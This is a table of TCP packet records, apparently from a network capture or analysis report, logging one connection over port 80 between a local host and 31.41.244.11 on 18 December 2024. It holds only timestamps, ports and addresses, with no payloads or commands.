Dec 18, 2024 15:56:15.767400026 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.767441034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.767473936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.767520905 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.768160105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.768207073 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.768217087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.768264055 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.769056082 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.769104958 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.769205093 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.769258022 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.769601107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.769649029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.769700050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.769746065 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.770334959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.770370007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.770391941 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.770402908 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.771110058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.771152973 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.771205902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.771253109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.771785021 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.771831989 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.771857977 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.771903992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.772567034 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.772614956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.772680044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.772722006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.773267984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.773308992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.773364067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.773406982 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.773983955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.774032116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.774034977 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.774072886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.774768114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.774821043 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.774883986 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.774931908 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.775485992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.775532007 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.775563955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.775609970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.776355982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.776377916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.776420116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.776447058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.777290106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.777337074 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.777355909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.777400970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.778019905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.778069973 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.778217077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.778264046 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.778879881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.778893948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.778927088 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.778945923 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.779546976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.779588938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.779597998 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.779624939 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.780175924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.780221939 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.780239105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.780280113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.780766010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.780811071 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.780869007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.780909061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.781271935 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.781313896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.781354904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.781397104 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.782022953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.782069921 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.782201052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.782246113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.782725096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.782772064 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.782839060 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.782879114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.783446074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.783490896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.783574104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.783613920 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.784200907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.784249067 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.784307957 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.784353971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.784914017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.784960032 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.784962893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.784998894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.785629988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.785675049 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.785769939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.785811901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.786366940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.786415100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.786418915 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.786459923 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.787130117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.787175894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.787219048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.787261009 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.787857056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.787903070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.916616917 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.916695118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.916722059 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.916877985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.917011976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.917059898 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.917108059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.917150974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.917604923 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.917654037 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.917737961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.917779922 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.918215036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.918267012 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.944773912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.944823980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.944835901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.944863081 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.945215940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.945229053 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.945259094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.945276976 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.945796967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.945847988 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.945986986 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.946028948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.946513891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.946557045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.946717024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.946763039 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.946928024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.946979046 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.947438955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.947491884 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.947577953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.947619915 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.948184013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.948235035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.948400974 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.948441982 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.948935032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.948981047 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.949004889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.949049950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.949706078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.949754953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.949841976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.949887037 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.950386047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.950434923 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.950525999 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.950568914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.951096058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.951147079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.951174974 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.951216936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.951829910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.951889038 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.951921940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.951962948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.952538967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.952589035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.952646971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.952687025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.953377008 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.953421116 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.953422070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.953463078 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.954005957 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.954050064 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.954086065 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.954207897 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.954812050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.954869032 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.954870939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.954916000 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.955475092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.955528021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.955605984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.955647945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.956175089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.956245899 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.956279039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.956325054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.957015038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.957057953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.957067013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.957120895 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.957801104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.957845926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.958071947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.958118916 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.958476067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.958537102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.958564043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.958605051 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.959115982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.959156990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.959227085 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.959280014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.959847927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.959884882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.959953070 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.959997892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.960685968 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.960730076 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.960777998 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.960824013 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.961291075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.961334944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.961368084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.961414099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.962021112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.962131977 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.962147951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.962179899 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.962742090 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.962804079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.962827921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.962871075 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.963474989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.963526964 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.963576078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.963630915 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.964188099 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.964236021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.964328051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.964370966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.964958906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.965007067 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.965081930 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.965135098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.965744972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.965790987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.965858936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.965918064 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.966470957 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.966516972 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.966547012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.966587067 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.967133045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.967178106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.967211962 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.967252016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.967830896 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.967876911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.967925072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.967964888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.968564034 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.968611002 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.968656063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.968703032 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.969302893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.969348907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.969400883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.969454050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.970033884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.970081091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.970146894 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.970247984 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.970777035 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.970834017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.970861912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.970906019 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.971473932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.971528053 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.971615076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.971657991 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.972206116 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.972254992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.972338915 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.972388983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.973007917 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.973053932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.973124027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.973171949 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.973687887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.973742962 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.973743916 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.973789930 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.974445105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.974494934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.974616051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.974677086 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.975218058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.975263119 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.975295067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.975337029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.975903988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.975951910 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.976062059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.976098061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.976749897 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.976768970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.976809025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.977363110 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.977413893 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.977576017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.977706909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.978110075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.978162050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.978216887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.978349924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.978785038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.978852987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.978880882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.978925943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.979477882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.979528904 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.979701996 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.979744911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.980232954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.980278015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.108582973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.108699083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.108853102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.109069109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.109292030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.109345913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.109658957 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.109709978 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.109757900 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.110352039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.110397100 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.137007952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.137058020 CET	80	49749	31.41.244.11	192.168.2.10
